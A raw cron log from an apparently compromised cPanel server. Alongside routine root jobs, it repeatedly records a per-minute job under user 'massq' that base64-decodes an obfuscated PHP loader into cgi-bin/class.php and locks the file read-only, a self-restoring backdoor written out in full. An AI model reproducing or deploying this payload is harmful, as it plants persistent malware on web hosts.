Nov  9 05:52:01 server CROND[26536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:53:01 server CROND[27674]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:54:01 server CROND[28430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:55:01 server CROND[29026]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:55:01 server CROND[29027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:55:01 server CROND[29028]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:56:01 server CROND[29764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:57:01 server CROND[30574]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 05:57:01 server CROND[30575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:58:01 server CROND[31520]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:59:01 server CROND[31906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:00:01 server CROND[32669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 06:00:01 server CROND[32671]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:00:01 server CROND[32672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:00:01 server CROND[32674]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 06:00:01 server CROND[32681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:00:01 server CROND[32677]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb &gt; /dev/null 2&gt;&amp;1)
Nov  9 06:01:01 server CROND[1127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:01:01 server CROND[1128]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 06:01:01 server run-parts(/etc/cron.hourly)[1128]: starting 0anacron
Nov  9 06:01:01 server run-parts(/etc/cron.hourly)[1140]: finished 0anacron
Nov  9 06:02:01 server CROND[1969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:03:01 server CROND[2785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:04:01 server CROND[3599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 06:05:01 server CROND[4288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 06:05:01 server CROND[4289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 06:05:01 server CROND[4290]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
